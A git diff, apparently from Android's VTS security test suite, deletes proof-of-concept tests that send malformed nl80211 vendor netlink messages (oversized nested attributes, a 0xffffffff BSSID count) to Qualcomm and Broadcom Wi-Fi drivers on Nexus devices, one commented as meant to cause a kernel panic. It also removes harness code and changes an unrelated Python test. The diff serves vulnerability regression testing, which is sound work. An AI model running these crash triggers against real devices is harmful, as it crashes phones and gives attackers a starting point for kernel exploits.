-#include <netlink/genl/genl.h>
-#include <netlink/msg.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/types.h> /* See NOTES */
-#include <unistd.h>
-
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define LOOP_COUNT 4
-#define BUF_SIZE 256
-#define OUI_GOOGLE 0x001A11
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-
-int send_testmode(const char *ifname, u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
-                  u_int8_t genl_cmd, u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int i;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[BUF_SIZE];
-  int if_index = if_nametoindex(ifname);
-  msg = nlmsg_alloc();
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    perror("nla_nest_start");
-    return POC_TEST_FAIL;
-  }
-
-  nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
-  rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-  if (!rret2) {
-    perror("nla_nest_start");
-    return POC_TEST_FAIL;
-  }
-
-  for (i = 0; i < LOOP_COUNT; ++i) {
-    rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-    if (!rret3) {
-      perror("nla_nest_start");
-      return POC_TEST_FAIL;
-    }
-
-    nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, BUF_SIZE, &buf_test);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-  nla_nest_end(msg, rret);
-
-  nl_send_auto_complete(nl_sk, msg);
-  /* To make sure that kernel panic occurs */
-  sleep(5);
-  return POC_TEST_PASS;
-}
-
-
-int main(int argc, char *argv[]) {
-  VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
-  const char *ifname = host_input.params["ifname"].c_str();
-  if (strlen(ifname) == 0) {
-    fprintf(stderr, "ifname parameter is empty.");
-    return POC_TEST_FAIL;
-  }
-
-  int ret = 0;
-  int family_id = 0;
-
-  if (getuid() != 0) {
-    printf("need root privilege\n");
-    return POC_TEST_FAIL;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    perror("genl_connect");
-    return POC_TEST_FAIL;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(ifname, family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return ret;
-}
diff --git a/poc/target/kernel_wifi/32219453/poc.runner_conf b/poc/target/kernel_wifi/32219453/poc.runner_conf
deleted file mode 100644
index 1bb7913..0000000
--- a/poc/target/kernel_wifi/32219453/poc.runner_conf
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-    "target_models": {
-        "Nexus 6": {},
-        "Nexus 6P": {},
-        "Nexus Player": {},
-        "default": {
-            "ifname": "wlan0"
-        }
-    }
-}
diff --git a/poc/target/kernel_wifi/32402310/poc.cpp b/poc/target/kernel_wifi/32402310/poc.cpp
deleted file mode 100644
index 3461c19..0000000
--- a/poc/target/kernel_wifi/32402310/poc.cpp
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "poc_test.h"
-
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-
-#include <android/log.h>
-#include <dirent.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <jni.h>
-#include <sys/socket.h>
-#include <linux/genetlink.h>
-#include <linux/netlink.h>
-#include <netinet/in.h>
-#include <net/if.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/types.h> /* See NOTES */
-#include <sys/un.h>
-#include <unistd.h>
-
-#include <netlink/msg.h>
-#include <linux/wireless.h>
-
-#include <linux/nl80211.h>
-#include <netlink/genl/ctrl.h>
-#include <netlink/genl/genl.h>
-
-#define MAX_MSG_SIZE 4096
-#define TEST_CNT 64
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-#define NL80211_ATTR_IFINDEX 3
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
-#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
-#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
-
-typedef char tSirMacAddr[ETH_ALEN];
-struct nl_sock *nl_sk;
-
-int send_testmode(const char *ifname, u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
-                  u_int8_t genl_cmd, u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = POC_TEST_PASS;
-  int i;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  unsigned char oper_classes[253];
-  tSirMacAddr mac_in;
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex(ifname);
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    perror("nla_nest_start");
-    ret = POC_TEST_FAIL;
-    goto exit;
-  }
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
-              QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS);
-
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID,
-              0xffffffff);
-
-  rret2 =
-      nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
-  if (!rret2) {
-    perror("nla_nest_start2");
-    ret = POC_TEST_FAIL;
-    goto exit;
-  }
-
-  for (i = 0; i < TEST_CNT; i++) {
-    rret3 =
-        nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
-    if (!rret3) {
-      perror("nla_nest_start3");
-      ret = POC_TEST_FAIL;
-      goto exit;
-    }
-
-    nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID,
-            sizeof(mac_in), &mac_in);
-    nla_put_u32(msg,
-                QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER,
-                0xdeadbeed);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-
-  nla_nest_end(msg, rret);
-
-  nl_send_auto_complete(nl_sk, msg);
-exit:
-  nlmsg_free(msg);
-  return ret;
-}
-
-int main(int argc, char *argv[]) {
-  VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
-  const char *ifname = host_input.params["ifname"].c_str();
-  if (strlen(ifname) == 0) {
-    fprintf(stderr, "ifname parameter is empty.");
-    return POC_TEST_FAIL;
-  }
-
-  int ret = 0;
-  int family_id = 0;
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-
-  if (getuid() != 0) {
-    printf("need root privilege\n");
-    return POC_TEST_FAIL;
-  }
-
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    perror("genl_connect");
-    return POC_TEST_FAIL;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(ifname, family_id, getpid(), NL80211_CMD_VENDOR, 1);
-  return ret;
-}
diff --git a/poc/target/kernel_wifi/32402310/poc.runner_conf b/poc/target/kernel_wifi/32402310/poc.runner_conf
deleted file mode 100644
index 21ca0b9..0000000
--- a/poc/target/kernel_wifi/32402310/poc.runner_conf
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-    "target_models": {
-        "Nexus 5X": {
-            "ifname": "wlan0"
-        }
-    }
-}
diff --git a/poc/target/poc_test.cpp b/poc/target/poc_test.cpp
deleted file mode 100644
index 72a3b12..0000000
--- a/poc/target/poc_test.cpp
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "poc_test.h"
-
-#include <getopt.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#include <iostream>
-#include <sstream>
-
-using std::cout;
-using std::cerr;
-using std::endl;
-using std::map;
-using std::string;
-
-static struct option long_options[] = {
-  {"device_model", required_argument, 0, 'd'},
-  {"params", required_argument, 0, 'p'}
-};
-
-static DeviceModel TranslateDeviceModel(const char *model_name) {
-  DeviceModel device_model;
-  if (!strcmp("Nexus 5", model_name)) {
-      device_model = NEXUS_5;
-  } else if (!strcmp("Nexus 5X", model_name)) {
-      device_model = NEXUS_5X;
-  } else if (!strcmp("Nexus 6", model_name)) {
-      device_model = NEXUS_6;
-  } else if (!strcmp("Nexus 6P", model_name)) {
-      device_model = NEXUS_6P;
-  } else if (!strcmp("Pixel", model_name)) {
-      device_model = PIXEL;
-  } else if (!strcmp("Pixel XL", model_name)) {
-      device_model = PIXEL_XL;
-  } else {
-      device_model = OTHER;
-  }
-  return device_model;
-}
-
-static map<string, string> ExtractParams(const char *test_params) {
-  map<string, string> params;
-  string input(test_params);
-  std::istringstream iss(input);
-
-  string key_value;
-  while(std::getline(iss, key_value, ',')) {
-    size_t delim = key_value.find('=');
-    if (delim == string::npos) {
-      cerr << "Missing '=' delimiter.\n";
-      exit(POC_TEST_SKIP);
-    }
-
-    string key = key_value.substr(0, delim);
-    string value = key_value.substr(delim + 1);
-
-    params[key] = value;
-  }
-
-  return params;
-}
-
-VtsHostInput ParseVtsHostFlags(int argc, char *argv[]) {
-  VtsHostInput host_input;
-  int opt = 0;
-  int index = 0;
-  while ((opt = getopt_long_only(argc, argv, "", long_options, &index)) != -1) {
-    switch(opt) {
-      case 'd':
-        host_input.device_model = TranslateDeviceModel(optarg);
-        break;
-      case 'p':
-        host_input.params = ExtractParams(optarg);
-        break;
-      default:
-        cerr << "Wrong parameters.\n";
-        exit(POC_TEST_SKIP);
-    }
-  }
-  return host_input;
-}
diff --git a/poc/target/poc_test.h b/poc/target/poc_test.h
deleted file mode 100644
index 6415116..0000000
--- a/poc/target/poc_test.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __VTS_TESTCASES_SECURITY_POC_TARGET_POC_TEST_H__
-#define __VTS_TESTCASES_SECURITY_POC_TARGET_POC_TEST_H__
-
-#include <map>
-#include <string>
-
-/* define poc_test exit codes */
-#define POC_TEST_PASS 0
-#define POC_TEST_FAIL 1
-#define POC_TEST_SKIP 2
-
-typedef enum {
-  NEXUS_5,
-  NEXUS_5X,
-  NEXUS_6,
-  NEXUS_6P,
-  PIXEL,
-  PIXEL_XL,
-  OTHER
-} DeviceModel;
-
-typedef struct {
-  DeviceModel device_model;
-  std::map<std::string, std::string> params;
-} VtsHostInput;
-
-extern VtsHostInput ParseVtsHostFlags(int argc, char *argv[]);
-
-#endif  // __VTS_TESTCASES_SECURITY_POC_TARGET_POC_TEST_H__
diff --git a/system_property/vts_treble_sys_prop_test.py b/system_property/vts_treble_sys_prop_test.py
index 7622b2b..56314e0 100644
--- a/system_property/vts_treble_sys_prop_test.py
+++ b/system_property/vts_treble_sys_prop_test.py
@@ -413,7 +413,8 @@
         resource_name = os.path.basename(self._PUBLIC_PROPERTY_CONTEXTS_FILE_PATH)
         package_name = os.path.dirname(
             self._PUBLIC_PROPERTY_CONTEXTS_FILE_PATH).replace(os.path.sep, '.')
-        with resources.open_text(package_name, resource_name) as resource:
+        with resources.files(package_name).joinpath(resource_name).open('r') \
+            as resource:
             pub_property_dict = self._ParsePropertyDictFromPropertyContextsFile(
                 resource, True)
         for name in pub_property_dict:
@@ -453,8 +454,8 @@
         Raises:
             IOError if the path does not exist or has invalid permission bits.
         """
-        cmd = "stat -c %%a %s" % path
-        out, err, return_code =  self.dut.Execute(cmd)
+        cmd = ["stat", "-c", "%a", path]
+        out, err, return_code =  self.dut.Execute(*cmd)
         logging.debug("%s: Shell command '%s' out: %s, err: %s, return_code: %s", path, cmd, out, err, return_code)
         # checks the exit code
         if return_code != 0: